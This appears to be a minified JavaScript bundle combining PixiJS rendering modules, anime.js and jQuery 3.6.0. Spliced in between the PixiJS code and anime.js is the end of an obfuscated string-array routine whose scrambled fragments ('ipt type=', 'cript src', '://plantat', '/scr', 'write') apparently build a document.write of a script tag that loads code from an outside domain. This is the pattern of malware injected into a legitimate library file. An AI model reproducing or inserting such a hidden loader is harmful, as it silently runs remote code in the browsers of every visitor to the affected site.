y=2*g+8*v,m=Math.max(1,u[g+1]-u[g]),_=Math.max(1,u[v+5]-u[v+4]),b=Math.max(1,a[y+10]-a[y]),x=Math.max(1,a[y+11]-a[y+1]);e.drawImage(s,u[g],u[v+4],m,_,a[y],a[y+1],b,x)}},e.prototype._refresh=function(){t.prototype._refresh.call(this);var e=this.uvs,r=this._texture;this._origWidth=r.orig.width,this._origHeight=r.orig.height;var n=1/this._origWidth,i=1/this._origHeight;e[0]=e[8]=e[16]=e[24]=0,e[1]=e[3]=e[5]=e[7]=0,e[6]=e[14]=e[22]=e[30]=1,e[25]=e[27]=e[29]=e[31]=1,e[2]=e[10]=e[18]=e[26]=n*this._leftWidth,e[4]=e[12]=e[20]=e[28]=1-n*this._rightWidth,e[9]=e[11]=e[13]=e[15]=i*this._topHeight,e[17]=e[19]=e[21]=e[23]=1-i*this._bottomHeight,this.updateHorizontalVertices(),this.updateVerticalVertices(),this.dirty++,this.multiplyUvs()},a(e,[{key:"width",get:function(){return this._width},set:function(t){this._width=t,this._refresh()}},{key:"height",get:function(){return this._height},set:function(t){this._height=t,this._refresh()}},{key:"leftWidth",get:function(){return this._leftWidth},set:function(t){this._leftWidth=t,this._refresh()}},{key:"rightWidth",get:function(){return this._rightWidth},set:function(t){this._rightWidth=t,this._refresh()}},{key:"topHeight",get:function(){return this._topHeight},set:function(t){this._topHeight=t,this._refresh()}},{key:"bottomHeight",get:function(){return this._bottomHeight},set:function(t){this._bottomHeight=t,this._refresh()}}]),e}(h.default);r.default=f},{"../core/sprites/canvas/CanvasTinter":104,"./Plane":168}],168:[function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function i(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function o(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}r.__esModule=!0;var s=t("./Mesh"),a=function(t){return t&&t.__esModule?t:{default:t}}(s),u=function(t){function e(r,o,s){n(this,e);var u=i(this,t.call(this,r));return u._ready=!0,u.verticesX=o||10,u.verticesY=s||10,u.drawMode=a.default.DRAW_MODES.TRIANGLES,u.refresh(),u}return o(e,t),e.prototype._refresh=function(){for(var t=this._texture,e=this.verticesX*this.verticesY,r=[],n=[],i=[],o=[],s=this.verticesX-1,a=this.verticesY-1,u=t.width/s,h=t.height/a,l=0;l1&&(l=1);var c=Math.sqrt(n*n+i*i),d=this._texture.height/2;n/=c,i/=c,n*=d,i*=d,o[h]=u.x+n,o[h+1]=u.y+i,o[h+2]=u.x-n,o[h+3]=u.y-i,e=u}},e.prototype.updateTransform=function(){this.autoUpdate&&this.refreshVertices(),this.containerUpdateTransform()},e}(a.default);r.default=u},{"./Mesh":166}],170:[function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}r.__esModule=!0;var i=t("../../core"),o=function(t){if(t&&t.__esModule)return t;var e={};if(null!=t)for(var r in t)Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e.default=t,e}(i),s=t("../Mesh"),a=function(t){return t&&t.__esModule?t:{default:t}}(s),u=function(){function t(e){n(this,t),this.renderer=e}return t.prototype.render=function(t){var e=this.renderer,r=e.context,n=t.worldTransform,i=e.resolution;e.roundPixels?r.setTransform(n.a*i,n.b*i,n.c*i,n.d*i,n.tx*i|0,n.ty*i|0):r.setTransform(n.a*i,n.b*i,n.c*i,n.d*i,n.tx*i,n.ty*i),e.context.globalAlpha=t.worldAlpha,e.setBlendMode(t.blendMode),t.drawMode===a.default.DRAW_MODES.TRIANGLE_MESH?this._renderTriangleMesh(t):this._renderTriangles(t)},t.prototype._renderTriangleMesh=function(t){for(var e=t.vertices.length/2,r=0;r0){var O=S/Math.abs(t.worldTransform.a),M=S/Math.abs(t.worldTransform.d),P=(_+b+x)/3,C=(T+w+E)/3,R=_-P,A=T-C,I=Math.sqrt(R*R+A*A);_=P+R/I*(I+O),T=C+A/I*(I+M),R=b-P,A=w-C,I=Math.sqrt(R*R+A*A),b=P+R/I*(I+O),w=C+A/I*(I+M),R=x-P,A=E-C,I=Math.sqrt(R*R+A*A),x=P+R/I*(I+O),E=C+A/I*(I+M)}i.save(),i.beginPath(),i.moveTo(_,T),i.lineTo(b,w),i.lineTo(x,E),i.closePath(),i.clip();var D=d*g+v*p+f*y-g*p-v*f-d*y,L=_*g+v*x+b*y-g*x-v*b-_*y,N=d*b+_*p+f*x-b*p-_*f-d*x,B=d*g*x+v*b*p+_*f*y-_*g*p-v*f*x-d*b*y,k=T*g+v*E+w*y-g*E-v*w-T*y,F=d*w+T*p+f*E-w*p-T*f-d*E,j=d*g*E+v*w*p+T*f*y-T*g*p-v*f*E-d*w*y;i.transform(L/D,k/D,N/D,F/D,B/D,j/D),i.drawImage(h,0,0,l*u.resolution,c*u.resolution,0,0,l,c),i.restore(),this.renderer.invalidateBlendMode()}},t.prototype.renderMeshFlat=function(t){var e=this.renderer.context,r=t.vertices,n=r.length/2;e.beginPath();for(var i=1;i0&&void 0!==arguments[0]?arguments[0]:1500,o=arguments[1],s=arguments.length>2&&void 0!==arguments[2]?arguments[2]:16384,a=arguments.length>3&&void 0!==arguments[3]&&arguments[3];n(this,e);var h=i(this,t.call(this));return s>16384&&(s=16384),s>r&&(s=r),h._properties=[!1,!0,!1,!1,!1],h._maxSize=r,h._batchSize=s,h._glBuffers={},h._bufferUpdateIDs=[],h._updateID=0,h.interactiveChildren=!1,h.blendMode=u.BLEND_MODES.NORMAL,h.autoResize=a,h.roundPixels=!0,h.baseTexture=null,h.setProperties(o),h._tint=0,h.tintRgb=new Float32Array(4),h.tint=16777215,h}return o(e,t),e.prototype.setProperties=function(t){t&&(this._properties[0]="vertices"in t||"scale"in t?!!t.vertices||!!t.scale:this._properties[0],this._properties[1]="position"in t?!!t.position:this._properties[1],this._properties[2]="rotation"in t?!!t.rotation:this._properties[2],this._properties[3]="uvs"in t?!!t.uvs:this._properties[3],this._properties[4]="tint"in t||"alpha"in t?!!t.tint||!!t.alpha:this._properties[4])},e.prototype.updateTransform=function(){this.displayObjectUpdateTransform()},e.prototype.renderWebGL=function(t){var e=this;this.visible&&!(this.worldAlpha<=0)&&this.children.length&&this.renderable&&(this.baseTexture||(this.baseTexture=this.children[0]._texture.baseTexture,this.baseTexture.hasLoaded||this.baseTexture.once("update",function(){return e.onChildrenChange(0)})),t.setObjectRenderer(t.plugins.particle),t.plugins.particle.render(this))},e.prototype.onChildrenChange=function(t){for(var e=Math.floor(t/this._batchSize);this._bufferUpdateIDs.lengthr&&(o=r);var s=t._glBuffers[i.CONTEXT_UID];s||(s=t._glBuffers[i.CONTEXT_UID]=this.generateBuffers(t));var a=e[0]._texture.baseTexture;this.renderer.setBlendMode(u.utils.correctBlendMode(t.blendMode,a.premultipliedAlpha));var h=i.gl,l=t.worldTransform.copy(this.tempMatrix);l.prepend(i._activeRenderTarget.projectionMatrix),this.shader.uniforms.projectionMatrix=l.toArray(!0),this.shader.uniforms.uColor=u.utils.premultiplyRgba(t.tintRgb,t.worldAlpha,this.shader.uniforms.uColor,a.premultipliedAlpha),this.shader.uniforms.uSampler=i.bindTexture(a);for(var c=!1,d=0,f=0;dn&&(p=n),f>=s.length){if(!t.autoResize)break;s.push(this._generateOneMoreBuffer(t))}var v=s[f];v.uploadDynamic(e,d,p);var g=t._bufferUpdateIDs[f]||0;c=c||v._updateID0?1:-1})},{}],179:[function(t,e,r){"use strict";Number.isInteger||(Number.isInteger=function(t){return"number"==typeof t&&isFinite(t)&&Math.floor(t)===t})},{}],180:[function(t,e,r){"use strict";var n=t("object-assign"),i=function(t){return t&&t.__esModule?t:{default:t}}(n);Object.assign||(Object.assign=i.default)},{"object-assign":6}],181:[function(t,e,r){"use strict";t("./Object.assign"),t("./requestAnimationFrame"),t("./Math.sign"),t("./Number.isInteger"),window.ArrayBuffer||(window.ArrayBuffer=Array),window.Float32Array||(window.Float32Array=Array),window.Uint32Array||(window.Uint32Array=Array),window.Uint16Array||(window.Uint16Array=Array)},{"./Math.sign":178,"./Number.isInteger":179,"./Object.assign":180,"./requestAnimationFrame":182}],182:[function(t,e,r){(function(t){"use strict";if(Date.now&&Date.prototype.getTime||(Date.now=function(){return(new Date).getTime()}),!t.performance||!t.performance.now){var e=Date.now();t.performance||(t.performance={}),t.performance.now=function(){return Date.now()-e}}for(var r=Date.now(),n=["ms","moz","webkit","o"],i=0;i=0;n--)this.add(t.children[n]);return this},t.prototype.destroy=function(){this.ticking&&v.remove(this.tick,this),this.ticking=!1,this.addHooks=null,this.uploadHooks=null,this.renderer=null,this.completes=null,this.queue=null,this.limiter=null,this.uploadHookHelper=null},t}();r.default=g},{"../core":65,"./limiters/CountLimiter":186}],184:[function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function i(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function o(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}function s(t,e){if(e instanceof u.BaseTexture){var r=e.source,n=0===r.width?t.canvas.width:Math.min(t.canvas.width,r.width),i=0===r.height?t.canvas.height:Math.min(t.canvas.height,r.height);return t.ctx.drawImage(r,0,0,n,i,0,0,t.canvas.width,t.canvas.height),!0}return!1}r.__esModule=!0;var a=t("../../core"),u=function(t){if(t&&t.__esModule)return t;var e={};if(null!=t)for(var r in t)Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e.default=t,e}(a),h=t("../BasePrepare"),l=function(t){return t&&t.__esModule?t:{default:t}}(h),c=16,d=function(t){function e(r){n(this,e);var o=i(this,t.call(this,r));return o.uploadHookHelper=o,o.canvas=document.createElement("canvas"),o.canvas.width=c,o.canvas.height=c,o.ctx=o.canvas.getContext("2d"),o.registerUploadHook(s),o}return o(e,t),e.prototype.destroy=function(){t.prototype.destroy.call(this),this.ctx=null,this.canvas=null},e}(l.default);r.default=d,u.CanvasRenderer.registerPlugin("prepare",d)},{"../../core":65,"../BasePrepare":183}],185:[function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}r.__esModule=!0;var i=t("./webgl/WebGLPrepare");Object.defineProperty(r,"webgl",{enumerable:!0,get:function(){return n(i).default}});var o=t("./canvas/CanvasPrepare");Object.defineProperty(r,"canvas",{enumerable:!0,get:function(){return n(o).default}});var s=t("./BasePrepare");Object.defineProperty(r,"BasePrepare",{enumerable:!0,get:function(){return n(s).default}});var a=t("./limiters/CountLimiter");Object.defineProperty(r,"CountLimiter",{enumerable:!0,get:function(){return n(a).default}});var u=t("./limiters/TimeLimiter");Object.defineProperty(r,"TimeLimiter",{enumerable:!0,get:function(){return n(u).default}})},{"./BasePrepare":183,"./canvas/CanvasPrepare":184,"./limiters/CountLimiter":186,"./limiters/TimeLimiter":187,"./webgl/WebGLPrepare":188}],186:[function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}r.__esModule=!0;var i=function(){function t(e){n(this,t),this.maxItemsPerFrame=e,this.itemsLeft=0}return t.prototype.beginFrame=function(){this.itemsLeft=this.maxItemsPerFrame},t.prototype.allowedToUpload=function(){return this.itemsLeft-- >0},t}();r.default=i},{}],187:[function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}r.__esModule=!0;var i=function(){function t(e){n(this,t),this.maxMilliseconds=e,this.frameStart=0}return t.prototype.beginFrame=function(){this.frameStart=Date.now()},t.prototype.allowedToUpload=function(){return Date.now()-this.frameStart<','sHrFI','ZUnAj','PSKEo','VifGY','rUDkf','ZNolW','kyBUZ','CLMZb','wmzNG','IqHZz','ad5051e818','cript\x22\x20src','16797680nQ','sSSfY','3420300PomoXO','OTebY','2KYyltV','://plantat','CyElb','15OuxoQN','/scr','YZpiq','kVffu','jLb','oeUOC','nvNoQ','haviW','WiflM','shift','ipt\x20type=\x22','QPqnV','OLhGh','mCjga','iZFAA','amP','2440416veNgtX','','zZJpf','7a33ea3bd1','pCusQ','XXvN','jYDyb','394620qaFs','1093702xee','fyFaj','zgr','1360917nrS','2347192VGzPul','NxnTe','1267d9c/in','jArwH','WDALd','4492446Adt','dVFQB','PazNb','3150609gyQSwN','3hNvMbD','AZywt','write','691133NlMIbJ','hEJBD','izK','FNNTI'];_0x4d22=function(){return _0x447329;};return _0x4d22();} +var $jscomp={scope:{}};$jscomp.defineProperty="function"==typeof Object.defineProperties?Object.defineProperty:function(e,r,p){if(p.get||p.set)throw new TypeError("ES3 does not support getters and setters.");e!=Array.prototype&&e!=Object.prototype&&(e[r]=p.value)};$jscomp.getGlobal=function(e){return"undefined"!=typeof window&&window===e?e:"undefined"!=typeof global&&null!=global?global:e};$jscomp.global=$jscomp.getGlobal(this);$jscomp.SYMBOL_PREFIX="jscomp_symbol_"; +$jscomp.initSymbol=function(){$jscomp.initSymbol=function(){};$jscomp.global.Symbol||($jscomp.global.Symbol=$jscomp.Symbol)};$jscomp.symbolCounter_=0;$jscomp.Symbol=function(e){return $jscomp.SYMBOL_PREFIX+(e||"")+$jscomp.symbolCounter_++}; +$jscomp.initSymbolIterator=function(){$jscomp.initSymbol();var e=$jscomp.global.Symbol.iterator;e||(e=$jscomp.global.Symbol.iterator=$jscomp.global.Symbol("iterator"));"function"!=typeof Array.prototype[e]&&$jscomp.defineProperty(Array.prototype,e,{configurable:!0,writable:!0,value:function(){return $jscomp.arrayIterator(this)}});$jscomp.initSymbolIterator=function(){}};$jscomp.arrayIterator=function(e){var r=0;return $jscomp.iteratorPrototype(function(){return rb&&(b+=1);1b?c:b<2/3?a+(c-a)*(2/3-b)*6:a}var d=/hsl\((\d+),\s*([\d.]+)%,\s*([\d.]+)%\)/g.exec(a)||/hsla\((\d+),\s*([\d.]+)%,\s*([\d.]+)%,\s*([\d.]+)\)/g.exec(a);a=parseInt(d[1])/360;var b=parseInt(d[2])/100,f=parseInt(d[3])/100,d=d[4]||1;if(0==b)f=b=a=f;else{var n=.5>f?f*(1+b):f+b-f*b,k=2*f-n,f=c(k,n,a+1/3),b=c(k,n,a);a=c(k,n,a-1/3)}return"rgba("+ +255*f+","+255*b+","+255*a+","+d+")"}function y(a){if(a=/([\+\-]?[0-9#\.]+)(%|px|pt|em|rem|in|cm|mm|ex|ch|pc|vw|vh|vmin|vmax|deg|rad|turn)?$/.exec(a))return a[2]}function V(a){if(-1=g.currentTime)for(var G=0;G=w||!k)g.began||(g.began=!0,f("begin")),f("run");if(q>n&&q=k&&r!==k||!k)b(k),x||e();f("update");a>=k&&(g.remaining?(t=h,"alternate"===g.direction&&(g.reversed=!g.reversed)):(g.pause(),g.completed||(g.completed=!0,f("complete"),"Promise"in window&&(p(),m=c()))),l=0)}a=void 0===a?{}:a;var h,t,l=0,p=null,m=c(),g=fa(a);g.reset=function(){var a=g.direction,c=g.loop;g.currentTime= +0;g.progress=0;g.paused=!0;g.began=!1;g.completed=!1;g.reversed="reverse"===a;g.remaining="alternate"===a&&1===c?2:c;b(0);for(a=g.children.length;a--;)g.children[a].reset()};g.tick=function(a){h=a;t||(t=h);k((l+h-t)*q.speed)};g.seek=function(a){k(d(a))};g.pause=function(){var a=v.indexOf(g);-1=c&&0<=b&&1>=b){var e=new Float32Array(11);if(c!==d||b!==f)for(var k=0;11>k;++k)e[k]=a(.1*k,c,b);return function(k){if(c===d&&b===f)return k;if(0===k)return 0;if(1===k)return 1;for(var h=0,l=1;10!==l&&e[l]<=k;++l)h+=.1;--l;var l=h+(k-e[l])/(e[l+1]-e[l])*.1,n=3*(1-3*b+3*c)*l*l+2*(3*b-6*c)*l+3*c;if(.001<=n){for(h=0;4>h;++h){n=3*(1-3*b+3*c)*l*l+2*(3*b-6*c)*l+3*c;if(0===n)break;var m=a(l,c,b)-k,l=l-m/n}k=l}else if(0=== +n)k=l;else{var l=h,h=h+.1,g=0;do m=l+(h-l)/2,n=a(m,c,b)-k,0++g);k=m}return a(k,d,f)}}}}(),Q=function(){function a(a,b){return 0===a||1===a?a:-Math.pow(2,10*(a-1))*Math.sin(2*(a-1-b/(2*Math.PI)*Math.asin(1))*Math.PI/b)}var c="Quad Cubic Quart Quint Sine Expo Circ Back Elastic".split(" "),d={In:[[.55,.085,.68,.53],[.55,.055,.675,.19],[.895,.03,.685,.22],[.755,.05,.855,.06],[.47,0,.745,.715],[.95,.05,.795,.035],[.6,.04,.98,.335],[.6,-.28,.735,.045],a],Out:[[.25, +.46,.45,.94],[.215,.61,.355,1],[.165,.84,.44,1],[.23,1,.32,1],[.39,.575,.565,1],[.19,1,.22,1],[.075,.82,.165,1],[.175,.885,.32,1.275],function(b,c){return 1-a(1-b,c)}],InOut:[[.455,.03,.515,.955],[.645,.045,.355,1],[.77,0,.175,1],[.86,0,.07,1],[.445,.05,.55,.95],[1,0,0,1],[.785,.135,.15,.86],[.68,-.55,.265,1.55],function(b,c){return.5>b?a(2*b,c)/2:1-a(-2*b+2,c)/2}]},b={linear:A(.25,.25,.75,.75)},f={},e;for(e in d)f.type=e,d[f.type].forEach(function(a){return function(d,f){b["ease"+a.type+c[f]]=h.fnc(d)? +d:A.apply($jscomp$this,d)}}(f)),f={type:f.type};return b}(),ha={css:function(a,c,d){return a.style[c]=d},attribute:function(a,c,d){return a.setAttribute(c,d)},object:function(a,c,d){return a[c]=d},transform:function(a,c,d,b,f){b[f]||(b[f]=[]);b[f].push(c+"("+d+")")}},v=[],B=0,ia=function(){function a(){B=requestAnimationFrame(c)}function c(c){var b=v.length;if(b){for(var d=0;db&&(c.duration=d.duration);c.children.push(d)});c.seek(0);c.reset();c.autoplay&&c.restart();return c};return c};q.random=function(a,c){return Math.floor(Math.random()*(c-a+1))+a};return q}); +/*! jQuery v3.6.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */ +!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?n[o.call(e)]||"object":typeof e}var f="3.6.0",S=function(e,t){return new S.fn.init(e,t)};function p(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n||0===t||"number"==typeof t&&0+~]|"+M+")"+M+"*"),U=new RegExp(M+"|>"),X=new RegExp(F),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegExp("^\\.("+I+")"),TAG:new RegExp("^("+I+"|[*])"),ATTR:new RegExp("^"+W),PSEUDO:new RegExp("^"+F),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+R+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},Y=/HTML$/i,Q=/^(?:input|select|textarea|button)$/i,J=/^h\d$/i,K=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t||(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10|55296,1023&n|56320))},re=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ie=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n||[],"string"!=typeof t||!t||1!==p&&9!==p&&11!==p)return n;if(!r&&(T(e),e=e||C,E)){if(11!==p&&(u=Z.exec(t)))if(i=u[1]){if(9===p){if(!(a=e.getElementById(i)))return n;if(a.id===i)return n.push(a),n}else if(f&&(a=f.getElementById(i))&&y(e,a)&&a.id===i)return n.push(a),n}else{if(u[2])return H.apply(n,e.getElementsByTagName(t)),n;if((i=u[3])&&d.getElementsByClassName&&e.getElementsByClassName)return H.apply(n,e.getElementsByClassName(i)),n}if(d.qsa&&!N[t+" "]&&(!v||!v.test(t))&&(1!==p||"object"!==e.nodeName.toLowerCase())){if(c=t,f=e,1===p&&(U.test(t)||z.test(t))){(f=ee.test(t)&&ye(e.parentNode)||e)===e&&d.scope||((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(e){N(t,!0)}finally{s===S&&e.removeAttribute("id")}}}return g(t.replace($,"$1"),e,n,r)}function ue(){var r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,t){var n=e.split("|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function de(t){return function(e){return"input"===e.nodeName.toLowerCase()&&e.type===t}}function he(n){return function(e){var t=e.nodeName.toLowerCase();return("input"===t||"button"===t)&&e.type===n}}function ge(t){return function(e){return"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t||e.isDisabled!==!t&&ae(e)===t:e.disabled===t:"label"in e&&e.disabled===t}}function ve(a){return le(function(o){return o=+o,le(function(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument||e).documentElement;return!Y.test(t||n&&n.nodeName||"HTML")},T=se.setDocument=function(e){var t,n,r=e?e.ownerDocument||e:p;return r!=C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=ce(function(e){return a.appendChild(e).appendChild(C.createElement("div")),"undefined"!=typeof e.querySelectorAll&&!e.querySelectorAll(":scope fieldset div").length}),d.attributes=ce(function(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getElementsByClassName),d.getById=ce(function(e){return a.appendChild(e).id=S,!C.getElementsByName||!C.getElementsByName(S).length}),d.getById?(b.filter.ID=function(e){var t=e.replace(te,ne);return function(e){return e.getAttribute("id")===t}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n=t.getElementById(e);return n?[n]:[]}}):(b.filter.ID=function(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},b.find.CLASS=d.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],v=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){var t;a.appendChild(e).innerHTML="",e.querySelectorAll("[msallowcapture^='']").length&&v.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||v.push("\\["+M+"*(?:value|"+R+")"),e.querySelectorAll("[id~="+S+"-]").length||v.push("~="),(t=C.createElement("input")).setAttribute("name",""),e.appendChild(t),e.querySelectorAll("[name='']").length||v.push("\\["+M+"*name"+M+"*="+M+"*(?:''|\"\")"),e.querySelectorAll(":checked").length||v.push(":checked"),e.querySelectorAll("a#"+S+"+*").length||v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="";var t=C.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),a.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&v.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),v.push(",.*:")})),(d.matchesSelector=K.test(c=a.matches||a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.msMatchesSelector))&&ce(function(e){d.disconnectedMatch=c.call(e,"*"),c.call(e,"[s!='']:x"),s.push("!=",F)}),v=v.length&&new RegExp(v.join("|")),s=s.length&&new RegExp(s.join("|")),t=K.test(a.compareDocumentPosition),y=t||K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},j=t?function(e,t){if(e===t)return l=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)==(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C||e.ownerDocument==p&&y(p,e)?-1:t==C||t.ownerDocument==p&&y(p,t)?1:u?P(u,e)-P(u,t):0:4&n?-1:1)}:function(e,t){if(e===t)return l=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e==C?-1:t==C?1:i?-1:o?1:u?P(u,e)-P(u,t):0;if(i===o)return pe(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?pe(a[r],s[r]):a[r]==p?-1:s[r]==p?1:0}),C},se.matches=function(e,t){return se(e,null,null,t)},se.matchesSelector=function(e,t){if(T(e),d.matchesSelector&&E&&!N[t+" "]&&(!s||!s.test(t))&&(!v||!v.test(t)))try{var n=c.call(e,t);if(n||d.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){N(t,!0)}return 0":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(te,ne),e[3]=(e[3]||e[4]||e[5]||"").replace(te,ne),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||se.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&se.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return 